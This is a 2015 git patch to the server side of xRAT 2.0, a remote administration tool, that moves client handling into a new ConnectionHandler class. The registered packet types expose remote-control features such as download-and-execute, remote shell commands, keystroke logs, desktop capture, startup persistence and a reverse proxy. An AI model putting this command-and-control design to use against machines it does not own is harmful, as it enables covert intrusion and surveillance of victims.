From 887f3ab34ad3620967aeaa2a2eda18d1e7f71d6c Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 12 Jul 2015 19:30:34 +0200 Subject: [PATCH] Added ConnectionHandler to Server --- Server/Core/Commands/ConnectionHandler.cs | 3 +- Server/Core/Networking/ConnectionHandler.cs | 237 ++++++++++++++++++++ Server/Core/Networking/Server.cs | 11 - Server/Forms/FrmMain.cs | 130 +++-------- Server/Forms/FrmSettings.cs | 4 +- Server/Server.csproj | 1 + 6 files changed, 271 insertions(+), 115 deletions(-) create mode 100644 Server/Core/Networking/ConnectionHandler.cs diff --git a/Server/Core/Commands/ConnectionHandler.cs b/Server/Core/Commands/ConnectionHandler.cs index ee36eff2..fd3690c7 100644 --- a/Server/Core/Commands/ConnectionHandler.cs +++ b/Server/Core/Commands/ConnectionHandler.cs @@ -35,8 +35,7 @@ public static void HandleInitialize(Client client, Initialize packet) Path.Combine(Application.StartupPath, string.Format("Clients\\{0}_{1}\\", userAtPc, client.Value.Id.Substring(0, 7))) : Path.Combine(Application.StartupPath, string.Format("Clients\\{0}_{1}\\", client.EndPoint.Address, client.Value.Id.Substring(0, 7))); - if (!FrmMain.Instance.ListenServer.AllTimeConnectedClients.ContainsKey(client.Value.Id)) - FrmMain.Instance.ListenServer.AllTimeConnectedClients.Add(client.Value.Id, DateTime.Now); + FrmMain.Instance.ConServer.CountAllTimeConnectedClientById(client.Value.Id); string country = string.Format("{0} [{1}]", client.Value.Country, client.Value.CountryCode); diff --git a/Server/Core/Networking/ConnectionHandler.cs b/Server/Core/Networking/ConnectionHandler.cs new file mode 100644 index 00000000..954358f5 --- /dev/null +++ b/Server/Core/Networking/ConnectionHandler.cs @@ -0,0 +1,237 @@ +using System; +using System.Collections.Generic; +using xServer.Core.Packets; + +namespace xServer.Core.Networking +{ + public class ConnectionHandler + { + /// + /// The Server which this class is handling. + /// + private Server ListenServer { get; set; } + + /// + /// A hashset containing all unique client IDs that have ever connected to the server. + /// + private HashSet AllTimeConnectedClients { get; set; } + + /// + /// The number of all unique clients which have ever connected to the server. + /// + public int AllTimeConnectedClientsCount { get { return AllTimeConnectedClients.Count; } } + + /// + /// The amount of currently connected and authenticated clients. + /// + public int ConnectedAndAuthenticatedClients { get; set; } + + /// + /// The listening state of the server. True if listening, else False. + /// + public bool Listening { get { return ListenServer.Listening; } } + + /// + /// The total amount of received bytes. + /// + public long BytesReceived { get { return ListenServer.BytesReceived; } } + + /// + /// The total amount of sent bytes. + /// + public long BytesSent { get { return ListenServer.BytesSent; } } + + /// + /// Occurs when the state of the server changes. + /// + public event ServerStateEventHandler ServerState; + + /// + /// Represents a method that will handle a change in the server's state. + /// + /// The new listening state of the server. + public delegate void ServerStateEventHandler(ushort port, bool listening); + + /// + /// Fires an event that informs subscribers that the server has changed it's state. + /// + /// The server which changed it's state. + /// The new listening state of the server. + private void OnServerState(Server server, bool listening) + { + if (ServerState != null) + { + ServerState(server.Port, listening); + } + } + + /// + /// Occurs when a client connected. + /// + public event ClientConnectedEventHandler ClientConnected; + + /// + /// Represents the method that will handle the connected client. + /// + /// The connected client. + public delegate void ClientConnectedEventHandler(Client client); + + /// + /// Fires an event that informs subscribers that the client is connected. + /// + /// The connected client. + private void OnClientConnected(Client client) + { + if (ClientConnected != null) + { + ClientConnected(client); + } + } + + /// + /// Occurs when a client disconnected. + /// + public event ClientDisconnectedEventHandler ClientDisconnected; + + /// + /// Represents the method that will handle the disconnected client. + /// + /// The disconnected client. + public delegate void ClientDisconnectedEventHandler(Client client); + + /// + /// Fires an event that informs subscribers that the client is disconnected. + /// + /// The disconnected client. + private void OnClientDisconnected(Client client) + { + if (ClientDisconnected != null) + { + ClientDisconnected(client); + } + } + + /// + /// Constructor, initializes required objects and subscribes to events of the server. + /// + public ConnectionHandler() + { + AllTimeConnectedClients = new HashSet(); + + ListenServer = new Server(); + + ListenServer.AddTypesToSerializer(typeof(IPacket), new Type[] + { + typeof (Packets.ServerPackets.InitializeCommand), + typeof (Packets.ServerPackets.Disconnect), + typeof (Packets.ServerPackets.Reconnect), + typeof (Packets.ServerPackets.Uninstall), + typeof (Packets.ServerPackets.DownloadAndExecute), + typeof (Packets.ServerPackets.UploadAndExecute), + typeof (Packets.ServerPackets.Desktop), + typeof (Packets.ServerPackets.GetProcesses), + typeof (Packets.ServerPackets.KillProcess), + typeof (Packets.ServerPackets.StartProcess), + typeof (Packets.ServerPackets.Drives), + typeof (Packets.ServerPackets.Directory), + typeof (Packets.ServerPackets.DownloadFile), + typeof (Packets.ServerPackets.MouseClick), + typeof (Packets.ServerPackets.GetSystemInfo), + typeof (Packets.ServerPackets.VisitWebsite), + typeof (Packets.ServerPackets.ShowMessageBox), + typeof (Packets.ServerPackets.Update), + typeof (Packets.ServerPackets.Monitors), + typeof (Packets.ServerPackets.ShellCommand), + typeof (Packets.ServerPackets.Rename), + typeof (Packets.ServerPackets.Delete), + typeof (Packets.ServerPackets.Action), + typeof (Packets.ServerPackets.GetStartupItems), + typeof (Packets.ServerPackets.AddStartupItem), + typeof (Packets.ServerPackets.RemoveStartupItem), + typeof (Packets.ServerPackets.DownloadFileCanceled), + typeof (Packets.ServerPackets.GetLogs), + typeof (Packets.ClientPackets.Initialize), + typeof (Packets.ClientPackets.Status), + typeof (Packets.ClientPackets.UserStatus), + typeof (Packets.ClientPackets.DesktopResponse), + typeof (Packets.ClientPackets.GetProcessesResponse), + typeof (Packets.ClientPackets.DrivesResponse), + typeof (Packets.ClientPackets.DirectoryResponse), + typeof (Packets.ClientPackets.DownloadFileResponse), + typeof (Packets.ClientPackets.GetSystemInfoResponse), + typeof (Packets.ClientPackets.MonitorsResponse), + typeof (Packets.ClientPackets.ShellCommandResponse), + typeof (Packets.ClientPackets.GetStartupItemsResponse), + typeof (Packets.ClientPackets.GetLogsResponse), + typeof (ReverseProxy.Packets.ReverseProxyConnect), + typeof (ReverseProxy.Packets.ReverseProxyConnectResponse), + typeof (ReverseProxy.Packets.ReverseProxyData), + typeof (ReverseProxy.Packets.ReverseProxyDisconnect) + }); + + ListenServer.ServerState += OnServerState; + ListenServer.ClientState += ClientState; + ListenServer.ClientRead += ClientRead; + } + + /// + /// Counts the unique client ID to all time connected clients. + /// + /// + /// If the client already connected before, the client ID won't be added. + /// + /// The ID to add. + public void CountAllTimeConnectedClientById(string id) + { + AllTimeConnectedClients.Add(id); + } + + /// + /// Begins listening for clients. + /// + /// Port to listen for clients on. + public void Listen(ushort port) + { + if (!ListenServer.Listening) ListenServer.Listen(port); + } + + /// + /// Disconnect the server from all of the clients and discontinue + /// listening (placing the server in an "off" state). + /// + public void Disconnect() + { + if (ListenServer.Listening) ListenServer.Disconnect(); + } + + /// + /// Decides if the client connected or disconnected. + /// + /// The server the client is connected to. + /// The client which changed its state. + /// True if the client connected, false if disconnected. + private void ClientState(Server server, Client client, bool connected) + { + switch (connected) + { + case true: + OnClientConnected(client); + break; + case false: + OnClientDisconnected(client); + break; + } + } + + /// + /// Forwards received packets from the client to the PacketHandler. + /// + /// The server the client is connected to. + /// The client which has received the packet. + /// The received packet. + private void ClientRead(Server server, Client client, IPacket packet) + { + PacketHandler.HandlePacket(client, packet); + } + } +} diff --git a/Server/Core/Networking/Server.cs b/Server/Core/Networking/Server.cs index 39450e45..b16bed3a 100644 --- a/Server/Core/Networking/Server.cs +++ b/Server/Core/Networking/Server.cs @@ -8,11 +8,6 @@ namespace xServer.Core.Networking { public class Server { - /// - /// The amount of currently connected and authenticated clients. - /// - public int ConnectedAndAuthenticatedClients { get; set; } - /// /// Occurs when the state of the server changes. /// @@ -185,11 +180,6 @@ public Client[] Clients } } - /// - /// A collection containing all clients that have ever connected to the server. - /// - public Dictionary AllTimeConnectedClients { get; set; } - /// /// Handle of the Server Socket. /// @@ -221,7 +211,6 @@ public Client[] Clients public Server() { PacketTypes = new List(); - AllTimeConnectedClients = new Dictionary(); } /// diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index fd340751..6dd27f4c 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -9,21 +9,21 @@ using xServer.Core.Helper; using xServer.Core.Misc; using xServer.Core.Networking; -using xServer.Core.Packets; using xServer.Settings; namespace xServer.Forms { public partial class FrmMain : Form { + public ConnectionHandler ConServer { get; set; } + public static FrmMain Instance { get; private set; } + private const int STATUS_ID = 4; private const int USERSTATUS_ID = 5; - public Server ListenServer; private readonly ListViewColumnSorter _lvwColumnSorter; - public static volatile FrmMain Instance; - private bool _titleUpdateRunning; private readonly object _lockClients = new object(); + private bool _titleUpdateRunning; private void ReadSettings(bool writeIfNotExist = true) { @@ -88,8 +88,8 @@ public void UpdateWindowTitle() { int selected = lstClients.SelectedItems.Count; this.Text = (selected > 0) ? - string.Format("xRAT 2.0 - Connected: {0} [Selected: {1}]", ListenServer.ConnectedAndAuthenticatedClients, selected) : - string.Format("xRAT 2.0 - Connected: {0}", ListenServer.ConnectedAndAuthenticatedClients); + string.Format("xRAT 2.0 - Connected: {0} [Selected: {1}]", ConServer.ConnectedAndAuthenticatedClients, selected) : + string.Format("xRAT 2.0 - Connected: {0}", ConServer.ConnectedAndAuthenticatedClients); }); } catch @@ -100,60 +100,11 @@ public void UpdateWindowTitle() private void InitializeServer() { - ListenServer = new Server(); + ConServer = new ConnectionHandler(); - ListenServer.AddTypesToSerializer(typeof (IPacket), new Type[] - { - typeof (Core.Packets.ServerPackets.InitializeCommand), - typeof (Core.Packets.ServerPackets.Disconnect), - typeof (Core.Packets.ServerPackets.Reconnect), - typeof (Core.Packets.ServerPackets.Uninstall), - typeof (Core.Packets.ServerPackets.DownloadAndExecute), - typeof (Core.Packets.ServerPackets.UploadAndExecute), - typeof (Core.Packets.ServerPackets.Desktop), - typeof (Core.Packets.ServerPackets.GetProcesses), - typeof (Core.Packets.ServerPackets.KillProcess), - typeof (Core.Packets.ServerPackets.StartProcess), - typeof (Core.Packets.ServerPackets.Drives), - typeof (Core.Packets.ServerPackets.Directory), - typeof (Core.Packets.ServerPackets.DownloadFile), - typeof (Core.Packets.ServerPackets.MouseClick), - typeof (Core.Packets.ServerPackets.GetSystemInfo), - typeof (Core.Packets.ServerPackets.VisitWebsite), - typeof (Core.Packets.ServerPackets.ShowMessageBox), - typeof (Core.Packets.ServerPackets.Update), - typeof (Core.Packets.ServerPackets.Monitors), - typeof (Core.Packets.ServerPackets.ShellCommand), - typeof (Core.Packets.ServerPackets.Rename), - typeof (Core.Packets.ServerPackets.Delete), - typeof (Core.Packets.ServerPackets.Action), - typeof (Core.Packets.ServerPackets.GetStartupItems), - typeof (Core.Packets.ServerPackets.AddStartupItem), - typeof (Core.Packets.ServerPackets.RemoveStartupItem), - typeof (Core.Packets.ServerPackets.DownloadFileCanceled), - typeof (Core.Packets.ServerPackets.GetLogs), - typeof (Core.Packets.ClientPackets.Initialize), - typeof (Core.Packets.ClientPackets.Status), - typeof (Core.Packets.ClientPackets.UserStatus), - typeof (Core.Packets.ClientPackets.DesktopResponse), - typeof (Core.Packets.ClientPackets.GetProcessesResponse), - typeof (Core.Packets.ClientPackets.DrivesResponse), - typeof (Core.Packets.ClientPackets.DirectoryResponse), - typeof (Core.Packets.ClientPackets.DownloadFileResponse), - typeof (Core.Packets.ClientPackets.GetSystemInfoResponse), - typeof (Core.Packets.ClientPackets.MonitorsResponse), - typeof (Core.Packets.ClientPackets.ShellCommandResponse), - typeof (Core.Packets.ClientPackets.GetStartupItemsResponse), - typeof (Core.Packets.ClientPackets.GetLogsResponse), - typeof (Core.ReverseProxy.Packets.ReverseProxyConnect), - typeof (Core.ReverseProxy.Packets.ReverseProxyConnectResponse), - typeof (Core.ReverseProxy.Packets.ReverseProxyData), - typeof (Core.ReverseProxy.Packets.ReverseProxyDisconnect) - }); - - ListenServer.ServerState += ServerState; - ListenServer.ClientState += ClientState; - ListenServer.ClientRead += ClientRead; + ConServer.ServerState += ServerState; + ConServer.ClientConnected += ClientConnected; + ConServer.ClientDisconnected += ClientDisconnected; } private void FrmMain_Load(object sender, EventArgs e) @@ -164,7 +115,7 @@ private void FrmMain_Load(object sender, EventArgs e) { if (XMLSettings.UseUPnP) UPnP.ForwardPort(ushort.Parse(XMLSettings.ListenPort.ToString())); - ListenServer.Listen(XMLSettings.ListenPort); + ConServer.Listen(XMLSettings.ListenPort); } if (XMLSettings.IntegrateNoIP) @@ -175,8 +126,7 @@ private void FrmMain_Load(object sender, EventArgs e) private void FrmMain_FormClosing(object sender, FormClosingEventArgs e) { - if (ListenServer.Listening) - ListenServer.Disconnect(); + ConServer.Disconnect(); if (UPnP.IsPortForwarded) UPnP.RemovePort(); @@ -191,13 +141,13 @@ private void lstClients_SelectedIndexChanged(object sender, EventArgs e) UpdateWindowTitle(); } - private void ServerState(Server server, bool listening) + private void ServerState(ushort port, bool listening) { try { this.Invoke((MethodInvoker) delegate { - botListen.Text = listening ? string.Format("Listening on port {0}.", server.Port) : "Not listening."; + botListen.Text = listening ? string.Format("Listening on port {0}.", port) : "Not listening."; }); } catch (InvalidOperationException) @@ -205,27 +155,20 @@ private void ServerState(Server server, bool listening) } } - private void ClientState(Server server, Client client, bool connected) + private void ClientConnected(Client client) { - if (connected) - { - new Core.Packets.ServerPackets.InitializeCommand().Execute(client); - } - else - { - if (client.Value != null) - { - client.Value.DisposeForms(); - client.Value = null; - } - - RemoveClientFromListview(client); - } + new Core.Packets.ServerPackets.InitializeCommand().Execute(client); } - private void ClientRead(Server server, Client client, IPacket packet) + private void ClientDisconnected(Client client) { - PacketHandler.HandlePacket(client, packet); + if (client.Value != null) + { + client.Value.DisposeForms(); + client.Value = null; + } + + RemoveClientFromListview(client); } /// @@ -264,7 +207,7 @@ public void AddClientToListview(ListViewItem clientItem) lock (_lockClients) { lstClients.Items.Add(clientItem); - ListenServer.ConnectedAndAuthenticatedClients++; + ConServer.ConnectedAndAuthenticatedClients++; } }); @@ -291,7 +234,7 @@ public void RemoveClientFromListview(Client c) .Where(lvi => lvi != null && (lvi.Tag as Client) != null && c.Equals((Client) lvi.Tag))) { lvi.Remove(); - ListenServer.ConnectedAndAuthenticatedClients--; + ConServer.ConnectedAndAuthenticatedClients--; break; } } @@ -389,19 +332,6 @@ private Client[] GetSelectedClients() return clients.ToArray(); } - /// - /// Gets all connected and authenticated clients. - /// - /// An array of all Clients. - private Client[] GetAllClients() - { - List clients = new List(); - - clients.AddRange(ListenServer.Clients.Where(c => c.Value.IsAuthenticated)); - - return clients.ToArray(); - } - /// /// Displays a popup with information about a client. /// @@ -819,7 +749,7 @@ private void menuClose_Click(object sender, EventArgs e) private void menuSettings_Click(object sender, EventArgs e) { - using (var frm = new FrmSettings(ListenServer)) + using (var frm = new FrmSettings(ConServer)) { frm.ShowDialog(); } @@ -835,14 +765,14 @@ private void menuBuilder_Click(object sender, EventArgs e) private void menuStatistics_Click(object sender, EventArgs e) { - if (ListenServer.BytesReceived == 0 || ListenServer.BytesSent == 0) + if (ConServer.BytesReceived == 0 || ConServer.BytesSent == 0) MessageBox.Show("Please wait for at least one connected Client!", "xRAT 2.0", MessageBoxButtons.OK, MessageBoxIcon.Information); else { using ( - var frm = new FrmStatistics(ListenServer.BytesReceived, ListenServer.BytesSent, - ListenServer.ConnectedAndAuthenticatedClients, ListenServer.AllTimeConnectedClients.Count)) + var frm = new FrmStatistics(ConServer.BytesReceived, ConServer.BytesSent, + ConServer.ConnectedAndAuthenticatedClients, ConServer.AllTimeConnectedClientsCount)) { frm.ShowDialog(); } diff --git a/Server/Forms/FrmSettings.cs b/Server/Forms/FrmSettings.cs index 7323a8d5..272271b1 100644 --- a/Server/Forms/FrmSettings.cs +++ b/Server/Forms/FrmSettings.cs @@ -9,9 +9,9 @@ namespace xServer.Forms { public partial class FrmSettings : Form { - private readonly Server _listenServer; + private readonly ConnectionHandler _listenServer; - public FrmSettings(Server listenServer) + public FrmSettings(ConnectionHandler listenServer) { this._listenServer = listenServer; diff --git a/Server/Server.csproj b/Server/Server.csproj index af8b6969..a27821ea 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -84,6 +84,7 @@ +